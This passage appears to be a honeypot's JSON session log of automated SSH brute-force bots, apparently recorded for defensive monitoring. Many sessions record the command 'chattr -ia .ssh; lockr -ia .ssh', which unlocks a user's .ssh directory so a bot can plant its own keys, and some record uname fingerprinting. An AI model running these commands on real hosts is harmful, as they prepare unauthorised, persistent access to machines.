  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 57378,
  "username": "radar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1011,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:55:31.774592+00:00",
  "ended_at": "2026-08-27T11:55:32.053863+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "ec0243a4-dbb4-4e16-bb3d-a68935c0e190",
  "name": "obsidian-quiet-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 59930,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:30.475082+00:00",
  "ended_at": "2026-08-27T11:55:31.643238+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5874258-8454-4d42-877b-e7d57c8fd228",
  "name": "lanky-graceful-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:14.082053+00:00",
  "ended_at": "2026-08-27T11:55:15.840017+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "372e89eb-0c30-44d0-9bfb-eff34f3254d6",
  "name": "leafy-amiable-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51398,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:12.171267+00:00",
  "ended_at": "2026-08-27T11:55:13.523806+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8dde47fb-39c4-4a49-b66c-fade3d342879",
  "name": "blazing-barren-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 40608,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:54:33.356037+00:00",
  "ended_at": "2026-08-27T11:54:34.786889+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "c0c3d87b-6f4a-4f7e-b9f6-613c4e6c3b60",
  "name": "quiet-smooth-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49144,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:54:09.219955+00:00",
  "ended_at": "2026-08-27T11:54:10.003593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8aa8feb-c780-478a-ad2f-0b46584ae571",
  "name": "muted-lofty-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 40616,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:54:05.907251+00:00",
  "ended_at": "2026-08-27T11:54:07.721750+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b35078f3-5fb4-43f6-b112-bf371f237986",
  "name": "lawful-amber-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 42784,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:53:59.205091+00:00",
  "ended_at": "2026-08-27T11:54:00.212862+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2162
 },
 {
  "id": "31cedce7-da43-41ae-8b8c-2ea89c78e982",
  "name": "noble-gallant-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 37162,
  "username": "arash",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:53:58.013089+00:00",
  "ended_at": "2026-08-27T11:53:59.410019+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2173
 },
 {
  "id": "aa97e1aa-5e37-405e-b2e6-db81e26da46f",
  "name": "misty-downy-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59280,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:53:52.582483+00:00",
  "ended_at": "2026-08-27T11:53:53.880658+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "ffdc1293-b0a4-42c4-9766-eb675f01c819",
  "name": "nameless-frosty-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 37178,
  "username": "arash",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:42.575213+00:00",
  "ended_at": "2026-08-27T11:53:44.124025+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "61138c65-eb5c-48ac-9c96-60479f63cdfb",
  "name": "pristine-hearty-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 37168,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:40.486162+00:00",
  "ended_at": "2026-08-27T11:53:41.977836+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "49149378-e990-4c2e-9b75-a4bd2715635e",
  "name": "prairie-wistful-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51632,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:53:37.567910+00:00",
  "ended_at": "2026-08-27T11:53:39.758008+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c2024bce-cea6-483a-b697-9cd8644c124a",
  "name": "humble-faded-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:35.607724+00:00",
  "ended_at": "2026-08-27T11:53:37.218370+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ef161ab2-affa-4bce-8dd8-79016202d584",
  "name": "russet-gentle-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 46244,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:33.524936+00:00",
  "ended_at": "2026-08-27T11:53:34.884327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0c012a1-ff95-45db-a596-899be8005fce",
  "name": "hidden-eager-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59296,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:33.080855+00:00",
  "ended_at": "2026-08-27T11:53:34.686224+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1854bf02-0819-4251-9a77-d76e89e512b7",
  "name": "sooty-velvet-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 46230,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:30.899068+00:00",
  "ended_at": "2026-08-27T11:53:32.873180+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e0e2c68-f22a-40e2-968a-705639151b91",
  "name": "honest-boreal-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51638,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:11.236134+00:00",
  "ended_at": "2026-08-27T11:53:13.200883+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "586250e2-07b1-49b2-adfb-4ffb9d767099",
  "name": "eager-sterling-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51634,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:53:09.547085+00:00",
  "ended_at": "2026-08-27T11:53:10.704738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "981636a7-f2ab-4981-8eee-35d436023721",
  "name": "gritty-icy-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 44938,
  "username": "rosmadinor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 797,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:52:28.052472+00:00",
  "ended_at": "2026-08-27T11:52:29.144350+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "791fe1ed-7351-4b51-8092-1f966601010f",
  "name": "lucid-russet-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 56025,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:52:21.444255+00:00",
  "ended_at": "2026-08-27T11:52:47.766458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "faf1ed23-d01e-449e-a490-07bd77bfa5a5",
  "name": "whispering-woven-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 47952,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:56.198137+00:00",
  "ended_at": "2026-08-27T11:51:58.401380+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "fede980d-dd7e-465c-aa04-702f917a7a06",
  "name": "sunlit-crystal-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 59174,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:47.943883+00:00",
  "ended_at": "2026-08-27T11:51:49.768626+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2162
 },
 {
  "id": "0dd9c336-bb33-49a6-80b0-71399c796ec2",
  "name": "vaulted-mottled-teal",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "64.49.8.54",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:43.005235+00:00",
  "ended_at": "2026-08-27T12:07:12.415523+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f77e68e-6e5f-46a0-aa86-a1085e314e2d",
  "name": "opal-primal-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47976,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:37.270099+00:00",
  "ended_at": "2026-08-27T11:51:38.176813+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "474be15e-09fd-44ec-8dd0-fad5202331b1",
  "name": "fringed-frank-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47966,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:35.474470+00:00",
  "ended_at": "2026-08-27T11:51:36.612542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c33f36c-a630-46af-b19d-d6e7e7451b5e",
  "name": "coastal-quiet-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 33290,
  "username": "remoteuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 756,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:34.626497+00:00",
  "ended_at": "2026-08-27T11:51:36.118195+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "07fadb69-3a03-4cd7-b445-c508a052a31a",
  "name": "forlorn-kindly-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 48686,
  "username": "tomcat",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:34.450292+00:00",
  "ended_at": "2026-08-27T11:51:36.487603+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "7edbeb5d-62bd-45e8-bac5-d4f4ad3fc70c",
  "name": "bold-wiry-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59192,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:33.388854+00:00",
  "ended_at": "2026-08-27T11:51:35.139562+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "feca5de0-3572-49d0-9f07-7498ec986d82",
  "name": "reedy-quaint-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59180,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:31.578677+00:00",
  "ended_at": "2026-08-27T11:51:32.815320+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8ee7cdb-720d-4ac2-9eb2-fc3cc27fc771",
  "name": "tender-feral-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 56908,
  "username": "remoteuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:11.853188+00:00",
  "ended_at": "2026-08-27T11:51:12.753969+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c00fe147-d1a5-4d95-bbaa-1ff41d6ca2c0",
  "name": "courtly-inland-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 48692,
  "username": "tomcat",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:10.538095+00:00",
  "ended_at": "2026-08-27T11:51:11.469583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "41feae16-d30a-453e-bd54-35640b459b3f",
  "name": "polar-pleasant-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 56894,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:09.225668+00:00",
  "ended_at": "2026-08-27T11:51:10.320539+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9fa61df4-ed21-47f4-89a2-178cf4fac213",
  "name": "gentle-clever-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 48690,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:51:08.392995+00:00",
  "ended_at": "2026-08-27T11:51:10.001582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e831502-1d1c-425e-bc76-b0098dc56c16",
  "name": "downy-crystal-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59254,
  "username": "azureuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:51:07.585521+00:00",
  "ended_at": "2026-08-27T11:51:09.054208+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "2d6a8f31-0a6a-4f6e-bdb6-7acbec4814ff",
  "name": "blunt-downy-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59276,
  "username": "azureuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:50:48.889495+00:00",
  "ended_at": "2026-08-27T11:50:50.125444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56ffbd10-4084-4bd7-b8c7-eae752224e4a",
  "name": "tawny-tranquil-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59262,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:50:47.113095+00:00",
  "ended_at": "2026-08-27T11:50:47.982480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e1f66112-87f6-47df-a41b-341a29ff54b1",
  "name": "foggy-alpine-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 40216,
  "username": "ansible",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:49:59.749424+00:00",
  "ended_at": "2026-08-27T11:50:01.495060+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "644e4b81-4b47-4b7d-8f6c-f861c58a1d6b",
  "name": "calm-wooded-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 32910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:49:46.426661+00:00",
  "ended_at": "2026-08-27T11:49:47.938006+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "663d9908-021d-4475-97d9-053010350332",
  "name": "sooty-lucid-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 40224,
  "username": "ansible",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:44.171583+00:00",
  "ended_at": "2026-08-27T11:49:46.043108+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de3174e4-d24d-47f3-b848-c5e793a02c47",
  "name": "rustic-plucky-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 40222,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:41.994411+00:00",
  "ended_at": "2026-08-27T11:49:43.518111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "698fee8c-2b89-46d0-b4cc-02b7c9959eb1",
  "name": "nautical-meadow-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 34680,
  "username": "stefan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 260,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:49:34.676771+00:00",
  "ended_at": "2026-08-27T11:49:36.574511+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "1ef5b423-3b1a-4dd5-973b-494c225cb26a",
  "name": "hardy-crimson-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 32926,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:30.648420+00:00",
  "ended_at": "2026-08-27T11:49:32.360918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "117a3347-1d54-4b05-97f2-fe54c1292b08",
  "name": "coral-deft-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 32912,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:28.237657+00:00",
  "ended_at": "2026-08-27T11:49:30.070841+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5ecd04a6-e568-4dc2-8268-a8e0fe7e4eb8",
  "name": "tangled-brisk-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 34470,
  "username": "exx",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 845,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:49:21.297465+00:00",
  "ended_at": "2026-08-27T11:49:22.829092+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "0b6d5ef4-409b-48df-ba01-eaa6779bc571",
  "name": "civil-patient-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41352,
  "username": "stefan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:08.925390+00:00",
  "ended_at": "2026-08-27T11:49:10.125427+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0fb1c471-0252-4841-8c50-005fb0e8a78c",
  "name": "zealous-bitter-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41340,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:49:07.015109+00:00",
  "ended_at": "2026-08-27T11:49:08.395382+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "389c32c9-156e-4ee3-8363-321d6eea2cc4",
  "name": "shaded-placid-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 51716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 781,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:48:39.937153+00:00",
  "ended_at": "2026-08-27T11:48:41.766906+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f2544d60-9dc4-4444-9fbe-2c1275375ffe",
  "name": "gleaming-twilight-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59226,
  "username": "suhail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:48:21.401089+00:00",
  "ended_at": "2026-08-27T11:48:22.834572+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
